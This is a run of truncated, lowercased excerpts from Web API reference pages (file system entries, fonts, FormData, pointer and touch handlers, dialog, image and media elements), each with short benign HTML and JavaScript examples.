... fileentry.getparent(function(parent) { fileentry.moveto(parent, "newname.html", function(updatedentry) { console.log("file " + fileentry.name + " renamed to newname.html."); }); }, function(error) { console.error("an error occurred: unable to rename " + fileentry.name + " to newname.html."); }); this is accomplished by first obtaining a filesystemdirectoryentry object representing the directory the file is currently located in.
FileSystemEntry.moveTo() - Web APIs
example this example shows how a temporary log file might be moved into a more permanent "log" directory when it exceeds a megabyte in size.
... workingdirectory.getfile("tmp/log.txt", {}, function(fileentry) { fileentry.getmetadata(function(metadata) { if (metadata.size > 1048576) { workingdirectory.getdirectory("log", {}, function(direntry) { fileentry.moveto(direntry); }, handleerror); } }); }, handleerror); browser compatibility the compatibility table on this page is generated from structured data.
FileSystemEntry.toURL() - Web APIs
if your site is located at http://my-awesome-website.woot, and you have a temporary file system that contains an image file named awesomesauce.jpg, the url returned by tourl() might be (depending on the browser's implementation) something like "filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg".
... code that makes use of this might look like this: let img = document.createelement("img"); img.src = imagefileentry.tourl(); document.body.appendchild(img); assuming the scenario mentioned before the code, the result would be html that looks like this being appended to the end of the document: <img src="filesystem:http://my-awesome-website.woot/temporary/awesomesauce.jpg"> browser compatibility the compatibility table on this page is generated from structured data.
File and Directory Entries API support in Firefox - Web APIs
any interfaces with names that end in "sync" aren't available.
... firefox doesn't support the "filesystem:" url scheme.
FontFace.status - Web APIs
WebAPIFontFacestatus
the status read-only property of the fontface interface returns an enumerated value indicating the status of the font, one of "unloaded", "loading", "loaded", or "error".
... syntax var status = fontface.status; value one of "unloaded", "loading", "loaded", or "error".
FontFaceSet.check() - Web APIs
WebAPIFontFaceSetcheck
"italic bold 16px roboto" text: limit the font faces to those whose unicode range contains at least one of the characters in text.
... examples document.fonts.check("12px courier"); // returns true if the font courier is available at 12px document.fonts.check("12px myfont", "ß"); // returns true if the font 'myfont' has a ß character.
FontFaceSet.load() - Web APIs
WebAPIFontFaceSetload
"italic bold 16px roboto" text: limit the font faces to those whose unicode range contains at least one of the characters in text.
... document.fonts.load("12px myfont", "ß").then(…); specifications specification status comment css font loading module level 3the definition of 'load' in that specification.
Force Touch events - Web APIs
webkitmouseforcedown this event is fired after the mousedown event as soon as sufficient pressure has been applied for it to qualify as a "force click".
... webkitmouseforceup this event is fired after the webkitmouseforcedown event as soon as the pressure has been reduced sufficiently to end the "force click".
FormData() - Web APIs
WebAPIFormDataFormData
example the following line creates an empty formdata object: var formdata = new formdata(); // currently empty you could add a key/value pair to this using formdata.append: formdata.append('username', 'chris'); or you can specify the optional form argument when creating the formdata object, to prepopulate it with values from the specified form: <form id="myform" name="myform"> <div> <label for="username">enter name:</label> <input type="text" id="username" name="username"> </div> <div> <label for="useracc">enter account number:</label> <input type="text" id="useracc" name="useracc"> </div> <div> <label for="userfile">upload file:</label> <input type="file" id="userfile" name="userfile"> </div> <input type="sub...
...mit" value="submit!"> </form> note: only successful form controls are included in a formdata object, i.e.
Gamepad - Web APIs
WebAPIGamepad
example window.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s.
... %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); specifications specification status comment gamepadthe definition of 'gamepad' in that specification.
GamepadEvent.gamepad - Web APIs
window.addeventlistener("gamepadconnected", function(e) { console.log("gamepad connected at index %d: %s.
... %d buttons, %d axes.", e.gamepad.index, e.gamepad.id, e.gamepad.buttons.length, e.gamepad.axes.length); }); value a gamepad object.
Geolocation API - Web APIs
webextensions that wish to use the geolocation object must add the "geolocation" permission to their manifest.
... body { padding: 20px; background-color:#ffffc9 } button { margin: .5rem 0; } html <button id = "find-me">show my location</button><br/> <p id = "status"></p> <a id = "map-link" target="_blank"></a> javascript function geofindme() { const status = document.queryselector('#status'); const maplink = document.queryselector('#map-link'); maplink.href = ''; maplink.textcontent = ''; function success(position) { const latitude = position.coords.latitude; const longitude = p...
GlobalEventHandlers.onclick - Web APIs
html <div id="demo">click here</div> javascript document.getelementbyid('demo').onclick = function changecontent() { document.getelementbyid('demo').innerhtml = "help me"; document.getelementbyid('demo').style = "color: red"; } result getting the coordinates of clicks this example displays the coordinates at which the most recent mouse button click occurred.
... html <p>click anywhere in this example.</p> <p id="log"></p> javascript let log = document.getelementbyid('log'); document.onclick = inputchange; function inputchange(e) { log.textcontent = `position: (${e.clientx}, ${e.clienty})`; } result specification specification status comment html living standardthe definition of 'onclick' in that specification.
GlobalEventHandlers.ondrag - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) {...
... console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <!-- <div class="source"> --> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specificat...
GlobalEventHandlers.ondragover - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) {...
... console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification ...
GlobalEventHandlers.ondragstart - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) {...
... console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications specification ...
GlobalEventHandlers.ondrop - Web APIs
<!doctype html> <html lang=en> <title>examples of using the ondrag global event attribute</title> <meta content="width=device-width"> <style> div { margin: 0em; padding: 2em; } #source { color: blue; border: 1px solid black; } #target { border: 1px solid black; } </style> </head> <script> function drag_handler(ev) { console.log("drag"); } function dragstart_handler(ev) { console.log("dragstart"); ev.datatransfer.setdata("text", ev.target.id); } function drop_handler(ev) { ...
... console.log("drop"); ev.currenttarget.style.background = "lightyellow"; ev.preventdefault(); var data = ev.datatransfer.getdata("text"); ev.target.appendchild(document.getelementbyid(data)); } function dragover_handler(ev) { console.log("dragover"); ev.preventdefault(); } </script> <body> <h1>examples of <code>ondrag</code>, <code>ondrop</code>, <code>ondragstart</code>, <code>ondragover</code></h1> <div class="source"> <p id="source" ondrag="drag_handler(event);" ondragstart="dragstart_handler(event);" draggable="true"> select this element, drag it to the drop zone and then release the selection to move the element.</p> </div> <div id="target" ondrop="drop_handler(event);" ondragover="dragover_handler(event);">drop zone</div> </body> </html> specifications s...
GlobalEventHandlers.onmouseup - Web APIs
example in this example, a piece of "toast" hides when you click down with the mouse, and reappears when you release.
... html <div class="container"> <div class="toaster"></div> <div class="toast">hello world!</div> </div> css .container { position: absolute; left: 50%; bottom: 20px; transform: translate(-50%); } .toaster { width: 160px; height: 110px; background: #bbb; border-radius: 10px 10px 0 0; } .toast { position: absolute; left: 50%; top: 50%; z-index: -1; width: 100px; height: 50px; padding: 10px; background: #ed9; border-radius: 10px 10px 0 0; transform: translate(-50%, -90px); transition: transform .3s; } .depressed { transform: translate(-50%, -50%); } javascript function depress() { toast.classlist.add('depressed'); } function release() { toast.classlist.remove('depressed'); } const to...
GlobalEventHandlers.onplay - Web APIs
example <p>this example demonstrates how to assign an "onplay" event to a video element.</p> <video controls onplay="alertplay()"> <source src="mov_bbb.mp4" type="video/mp4"> <source src="mov_bbb.ogg" type="video/ogg"> your browser does not support html5 video.
... </video> <p>video courtesy of <a href="http://www.bigbuckbunny.org/" target="_blank">big buck bunny</a>.</p> <script> function alertplay() { alert("the video has started to play."); } </script> specification specification status comment html living standardthe definition of 'onplay' in that specification.
GlobalEventHandlers.onpointercancel - Web APIs
<html> <script> function cancelhandler(ev) { // process the pointercancel event } function init() { var el = document.getelementbyid('target1'); el.onpointercancel = cancelhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointercancel="cancelhandler(event)"> touch me ...
GlobalEventHandlers.onpointerenter - Web APIs
<html> <script> function enterhandler(ev) { // process the pointerenter event } function init() { let el = document.getelementbyid('target1'); el.onpointerenter = enterhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerenter="enterhandler(event)"> touch me ...
GlobalEventHandlers.onpointerleave - Web APIs
<html> <script> function leavehandler(ev) { // process the pointerleave event } function init() { var el=document.getelementbyid("target1"); el.onpointerleave = leavehandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerleave="leavehandler(event)"> touch me ...
GlobalEventHandlers.onpointermove - Web APIs
<html> <script> function movehandler(ev) { // process the pointermove event } function init() { let el=document.getelementbyid('target1'); el.onpointermove = movehandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointermove="movehandler(event)"> touch me ...
GlobalEventHandlers.onpointerout - Web APIs
<html> <script> function outhandler(ev) { // process the pointerout event } function init() { let el=document.getelementbyid('target1'); el.onpointerout = outhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerout="outhandler(event)"> touch me ...
GlobalEventHandlers.onpointerover - Web APIs
<html> <script> function overhandler(ev) { // process the pointerover event } function init() { let el = document.getelementbyid('target1'); el.onpointerover = overhandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerover="overhandler(event)"> touch me ...
GlobalEventHandlers.onpointerup - Web APIs
<html> <script> function uphandler(ev) { // process the pointerup event } function init() { let el = document.getelementbyid('target1'); el.onpointerup = uphandler; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" onpointerup="uphandler(event)"> touch me ...
GlobalEventHandlers.onreset - Web APIs
the reset event fires when the user clicks a reset button in a form (<input type="reset">).
... html <form id="form"> <label>test field: <input type="text"></label> <br><br> <button type="reset">reset form</button> </form> <p id="log"></p> javascript function logreset(event) { log.textcontent = `form reset!
GlobalEventHandlers.onselect - Web APIs
the select event only fires after text inside an <input type="text"> or <textarea> is selected.
... html <textarea>try selecting some text in this element.</textarea> <p id="log"></p> javascript function logselection(event) { const log = document.getelementbyid('log'); const selection = event.target.value.substring(event.target.selectionstart, event.target.selectionend); log.textcontent = `you selected: ${selection}`; } const textarea = document.queryselector('textarea'); textarea.onselect = logselection; result specification specification status comment html living standardthe definition of 'onselect' in th...
GlobalEventHandlers.ontouchcancel - Web APIs
<html> <script> function canceltouch(ev) { // process the event } function init() { let el = document.getelementbyid('target1'); el.ontouchcancel = canceltouch; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" ontouchcancel="canceltouch(event)"> touch me ...
GlobalEventHandlers.ontouchend - Web APIs
<html> <script> function endtouch(ev) { // process the event } function init() { var el=document.getelementbyid("target1"); el.ontouchend = endtouch; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" ontouchend="endtouch(event)"> touch me ...
GlobalEventHandlers.ontouchmove - Web APIs
<html> <head> <script> function movetouch(ev) { // process the event } function init() { var el=document.getelementbyid("target1"); el.ontouchmove = movetouch; } </script> </head> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" ontouchmove="movetouch(event)"> touch me ...
GlobalEventHandlers.ontouchstart - Web APIs
<html> <script> function starttouch(ev) { // process the event } function init() { let el = document.getelementbyid('target1'); el.ontouchstart = starttouch; } </script> <body onload="init();"> <div id="target1"> touch me ...
... </div> <div id="target2" ontouchstart="starttouch(event)"> touch me ...
msAudioCategory - Web APIs
syntax <audio controls="controls" msaudiocategory="backgroundcapablemedia"> </audio> the msaudiocategory property offers a variety of values that can enhance the behavior of your audio-aware app.
... example <audio msaudiocategory="backgroundcapablemedia" controls="controls"> <source src="song.mp3"/> </audio> ...
HTMLDialogElement: cancel event - Web APIs
for example, the browser might fire this event when the user presses the esc key or clicks a "close dialog" button which is part of the browser's ui.
... bubbles no cancelable yes interface event event handler oncancel examples live example html <dialog class="example-dialog"> <button class="close" type="reset">close</button> </dialog> <button class="open-dialog">open dialog</button> <div class="result"></div> css button, div { margin: .5rem; } js const result = document.queryselector('.result'); const dialog = document.queryselector('.example-dialog'); dialog.addeventlistener('cancel', (event) => { result.textcontent = 'dialog was canceled'; }); const opendialog = document.queryselector('.open-dialog'); opendialog.addeventlistener('click', () => { if (typeof dialog.showmodal === 'function') { dialog.showmodal(); result.textcontent = ''; } else ...
HTMLDialogElement.close() - Web APIs
<!-- simple pop-up dialog box, containing a form --> <dialog id="favdialog"> <form method="dialog"> <section> <p><label for="favanimal">favorite animal:</label> <select id="favanimal" name="favanimal"> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset...
...">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel butt...
HTMLDialogElement.open - Web APIs
<!-- simple pop-up dialog box, containing a form --> <dialog id="favdialog"> <form method="dialog"> <section> <p><label for="favanimal">favorite animal:</label> <select id="favanimal" name="favanimal"> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset...
...">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel butt...
HTMLDialogElement.returnValue - Web APIs
<!-- simple pop-up dialog box containing a form --> <dialog id="favdialog"> <form method="dialog"> <p><label>favorite animal: <select name="favanimal" required> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select> </label></p> <menu> <button>cancel</button> <button>confirm</button> </menu> </form...
...> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if (dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } function handleuserinput(returnvalue) { if (returnvalue === 'cancel' || returnvalue == null) { // user canceled the dialog, do nothing } else if (returnvalue === 'confirm') { // user chose a favorite animal, do something with it } } // “update details” button opens the <dia...
HTMLDialogElement.show() - Web APIs
<!-- simple pop-up dialog box, containing a form --> <dialog id="favdialog"> <form method="dialog"> <section> <p><label for="favanimal">favorite animal:</label> <select id="favanimal" name="favanimal"> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset...
...">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel butt...
HTMLDialogElement.showModal() - Web APIs
<!-- simple pop-up dialog box, containing a form --> <dialog id="favdialog"> <form method="dialog"> <section> <p><label for="favanimal">favorite animal:</label> <select id="favanimal" name="favanimal"> <option></option> <option>brine shrimp</option> <option>red panda</option> <option>spider monkey</option> </select></p> </section> <menu> <button id="cancel" type="reset...
...">cancel</button> <button type="submit">confirm</button> </menu> </form> </dialog> <menu> <button id="updatedetails">update details</button> </menu> <script> (function() { var updatebutton = document.getelementbyid('updatedetails'); var cancelbutton = document.getelementbyid('cancel'); var dialog = document.getelementbyid('favdialog'); dialog.returnvalue = 'favanimal'; function opencheck(dialog) { if(dialog.open) { console.log('dialog open'); } else { console.log('dialog closed'); } } // update button opens a modal dialog updatebutton.addeventlistener('click', function() { dialog.showmodal(); opencheck(dialog); }); // form cancel butt...
HTMLElement.isContentEditable - Web APIs
syntax editable = element.iscontenteditable example html <p id="mytext1">uneditable paragraph</p> <p id="mytext2" contenteditable="true">editable paragraph</p> <p id="infotext1">can edit the first paragraph?
... </p> <p id="infotext2">can edit the second paragraph?
HTMLElement.lang - Web APIs
WebAPIHTMLElementlang
common examples include "en" for english, "ja" for japanese, "es" for spanish and so on.
... example // this snippet compares the base language and // redirects to another url based on language if (document.documentelement.lang === "en") { window.location.href = "some_document.html.en"; } else if (document.documentelement.lang === "ru") { window.location.href = "some_document.html.ru"; } specification specification status comment document object model (dom) level 2 html specificationthe definition of 'lang' in that specification.
HTMLFormControlsCollection.namedItem() - Web APIs
like that one, in javascript, using the array bracket syntax with a string, like collection["value"] is equivalent to collection.nameditem("value").
... example html <form> <input id="my-form-control" type="textarea"> </form> javascript // returns the htmlinputelement representing #my-form-control elem1 = document.forms[0]['my-form-control']; specifications specification status comment html living standardthe definition of 'htmlformcontrolscollection.nameditem()' in that specification.
HTMLFormElement: formdata event - Web APIs
which fires the formdata event new formdata(formelem); }); // formdata handler to retrieve data formelem.addeventlistener('formdata', (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandler"); request.send(data); }); the onformdata version would look like this: formelem.onformdata = (e) => { console.log('formdata fired'); // get the form data from the event object let data = e.formdata; for (var value of data.values()) { console.log(value); } // submit the data via xhr var request = new xmlhttprequest(); request.open("post", "/formhandle...
...r"); request.send(data); }; specifications specification status comment html living standardthe definition of 'formdata' in that specification.
HTMLFormElement.submit() - Web APIs
<input> with attribute type="submit" will not be submitted with the form when using htmlformelement.submit(), but it would be submitted when you do it with original html form submit.
... syntax htmlformelement.submit() example document.forms["myform"].submit(); specifications specification status comment html living standardthe definition of 'htmlformelement: submit' in that specification.
HTMLHyperlinkElementUtils.hash - Web APIs
if the url does not have a fragment identifier, this property contains an empty string, "".
... syntax string = object.hash; object.hash = string; examples <a id="myanchor" href="/docs/htmlhyperlinkelementutils.href#examples">examples</a> <script> var anchor = document.getelementbyid("myanchor"); console.log(anchor.hash); // returns '#examples' </script> specifications specification status comment html living standardthe definition of 'htmlhyperlinkelementutils.hash' in that specification.
HTMLImageElement.currentSrc - Web APIs
html <img src="/files/16797/clock-demo-400px.png" alt="clock" srcset="/files/16864/clock-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 50%, 90%"> javascript var clockimage = document.queryselector("img"); let p = document.createelement("p"); if (!clockimage.currentsrc.endswith("200px.png")) { p.innertext = "using the 200px image."; } else { p.inne...
...rtext = "using the 400px image!"; } document.body.appendchild(p); result specifications specification status comment html living standardthe definition of 'htmlimageelement.currentsrc' in that specification.
HTMLImageElement.height - Web APIs
<p>image height: <span class="size">?</span>px (resize to update)</p> <img src="/files/17373/clock-demo-200px.png" alt="clock" srcset="/files/17373/clock-demo-200px.png 200w, /files/17374/clock-demo-400px.png 400w" sizes="(max-width: 400px) 200px, 300px"> javascript the javascript code looks at the height to determine the height of the image given the width at which it's currently drawn.
... var clockimage = document.queryselector("img"); let output = document.queryselector(".size"); const updateheight = event => { output.innertext = clockimage.height; }; window.addeventlistener("load", updateheight); window.addeventlistener("resize", updateheight); result this example may be easier to try out in its own window.
HTMLImageElement.longDesc - Web APIs
consider the following older html: <img src="taco-tuesday.jpg" longdesc="image-descriptions/taco-tuesday.html"> here, the longdesc is used to indicate that the user should be able to access a detailed description of the image taco-tuesday.jpg in the html file image-descriptions/taco-tuesday.html.
... this can be easily converted into modern html: <a href="image-descriptions/taco-tuesday.html"> <img src="taco-tuesday.jpg"> </a> with that, the image is a link to the html file describing the image in more detail.
HTMLImageElement.naturalHeight - Web APIs
html <div class="box"> <img src="/files/16797/clock-demo-400px.png" class="image"> </div> <div class="output"> </div> the html features a 400x398 pixel image which is placed inside a <div>.
... javascript let output = document.queryselector(".output"); let image = document.queryselector("img"); window.addeventlistener("load", event => { output.innerhtml += `natural size: ${image.naturalwidth} x ` + `${image.naturalheight} pixels<br>`; output.innerhtml += `displayed size: ${image.width} x ` + `${image.height} pixels`; }); the javascript code simply dumps the natural and as-displayed sizes into the <div> with the class output.
HTMLImageElement.naturalWidth - Web APIs
html <div class="box"> <img src="/files/16797/clock-demo-400px.png" class="image"> </div> <div class="output"> </div> the html features a 400x398 pixel image which is placed inside a <div>.
... javascript let output = document.queryselector(".output"); let image = document.queryselector("img"); window.addeventlistener("load", event => { output.innerhtml += `natural size: ${image.naturalwidth} x ` + `${image.naturalheight} pixels<br>`; output.innerhtml += `displayed size: ${image.width} x ` + `${image.height} pixels`; }); the javascript code simply dumps the natural and as-displayed sizes into the <div> with the class output.
HTMLImageElement.useMap - Web APIs
syntax htmlimageelement.usemap = imagemapanchor; let imagemapanchor = htmlimageelement.usemap; value a usvstring providing the page-local url (that is, a url that begins with the hash or pound symbol, "#") of the <map> element which defines the image map to apply to the image.
... consider a <map> that looks like this: <map name="mainmenu-map"> <area shape="circle" coords="25, 25, 75, 75" href="/index.html" alt="return to home page"> <area shape="rect" coords="25, 25, 100, 150" href="/index.html" alt="shop"> </map> given the image map named mainmenu-map, the image which uses it should look something like the following: <img src="menubox.png" usemap="#mainmenu-map"> for additional examples (including interactive ones), see the articles a...
HTMLImageElement.width - Web APIs
<p>image width: <span class="size">?</span>px (resize to update)</p> <img src="/files/16864/clock-demo-200px.png" alt="clock" srcset="/files/16864/clock-demo-200px.png 200w, /files/16797/clock-demo-400px.png 400w" sizes="(max-width: 400px) 200px, 400px"> javascript the javascript code looks at the width to determine the width of the image at the moment.
... var clockimage = document.queryselector("img"); let output = document.queryselector(".size"); const updatewidth = event => { output.innertext = clockimage.width; }; window.addeventlistener("load", updatewidth); window.addeventlistener("resize", updatewidth); result this example may be easier to try out in its own window.
HTMLImageElement.x - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table...
... let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top).
HTMLImageElement.y - Web APIs
<table id="userinfo"> <colgroup> <col span="2" class="group1"> <col> </colgroup> <tr> <th>userid</th> <th>name</th> <th>avatar</th> </tr> <tr> <td>12345678</td> <td>johnny rocket</td> <td><img src="https://udn.realityripple.com/samples/d6/7ab36d79bb.jpg"</td> </th> </table> <pre id="log"> </pre> javascript the javascript code that fetches the image from the table...
... let logbox = document.queryselector("pre"); let tbl = document.getelementbyid("userinfo") let log = msg => { logbox.innerhtml += `${msg}<br>`; } let cell = tbl.rows[1].cells[2]; let image = cell.queryselector("img"); log(`image's global x: ${image.x}`); log(`image's global y: ${image.y}`); this uses the <table>'s rows property to get a list of the rows in the table, from which it looks up row 1 (which, being a zero-based index, means the second row from the top).
HTMLInputElement.select() - Web APIs
html <input type="text" id="text-box" size="20" value="hello world!"> <button onclick="selecttext()">select text</button> javascript function selecttext() { const input = document.getelementbyid('text-box'); input.focus(); input.select(); } result notes calling element.select() will not necessarily focus the input, so it is often used with htmlelement.focus().
... in browsers where it is not supported, it is possible to replace it with a call to htmlinputelement.setselectionrange() with parameters 0 and the input's value length: <input onclick="this.select();" value="sample text" /> <!-- equivalent to --> <input onclick="this.setselectionrange(0, this.value.length);" value="sample text" /> specifications specification status comment html living standardthe definition of 'select' in that specification.
HTMLMarqueeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/htmlmarqueeelement" target="_top"><rect x="1" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="91" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlmarqueeelement</text></...
... examples <marquee>this text will scroll from right to left</marquee> <marquee direction="up">this text will scroll from bottom to top</marquee> <marquee direction="down" width="250" height="200" behavior="alternate" style="border:solid"> <marquee behavior="alternate"> this text will bounce </marquee> </marquee> specifications specification status comment html living standardthe definition of 'htmlmarqueeelement' in that specification.
HTMLMediaElement.audioTracks - Web APIs
<video id="video" src="somevideo.mp4"></video> javascript the javascript code handles muting the video element's audio tracks.
... var video = document.getelementbyid("video"); for (var i = 0; i < video.audiotracks.length; i += 1) { video.audiotracks[i].enabled = false; } specifications specification status comment html living standardthe definition of 'htmlmediaelement.audiotracks' in that specification.
HTMLMediaElement.canPlayType() - Web APIs
"" (empty string) media of the given type definitely can't be played on the current device.
... example var obj = document.createelement('video'); console.log(obj.canplaytype('video/mp4')); // "maybe" specifications specification status comment html living standardthe definition of 'canplaytype' in that specification.
HTMLMediaElement.captureStream() - Web APIs
example in this example, an event handler is established so that clicking a button starts capturing the contents of a media element with the id "playback" into a mediastream.
... document.queryselector('.playandrecord').addeventlistener('click', function() { var playbackelement = document.getelementbyid("playback"); var capturestream = playbackelement.capturestream(); playbackelement.play(); }); see recording a media element for a longer and more intricate example and explanation.
HTMLMediaElement.load() - Web APIs
pending play promises are aborted with an "aborterror" domexception.
... var mediaelem = document.queryselector("video"); mediaelem.load(); specifications specification status comment html living standardthe definition of 'htmlmediaelement.load()' in that specification.
HTMLMediaElement: loadstart event - Web APIs
bubbles no cancelable no interface event event handler property onloadstart examples live example html <div class="example"> <button type="button">load video</button> <video controls width="250"></video> <div class="event-log"> <label>event log:</label> <textarea readonly class="event-log-contents"></textarea> </div> </div> css .event-log-contents { width: 18rem; height: 5rem; border: 1px solid black; margin: .2rem; padding: .2rem; } .example { display: grid; grid-template-areas: "button log" "video log"; } button { grid-area: button; width: 10rem; margin: .5rem 0; } ...
...ntent = eventlog.textcontent + `${event.type}\n`; } video.addeventlistener('loadstart', handleevent); video.addeventlistener('progress', handleevent); video.addeventlistener('canplay', handleevent); video.addeventlistener('canplaythrough', handleevent); loadvideo.addeventlistener('click', () => { if (source) { document.location.reload(); } else { loadvideo.textcontent = "reset example"; source = document.createelement('source'); source.setattribute('src', 'https://interactive-examples.mdn.mozilla.net/media/examples/flower.webm'); source.setattribute('type', 'video/webm'); video.appendchild(source); } }); result specifications specification status html living standardthe definition of 'loadstart med...
HTMLMediaElement: progress event - Web APIs
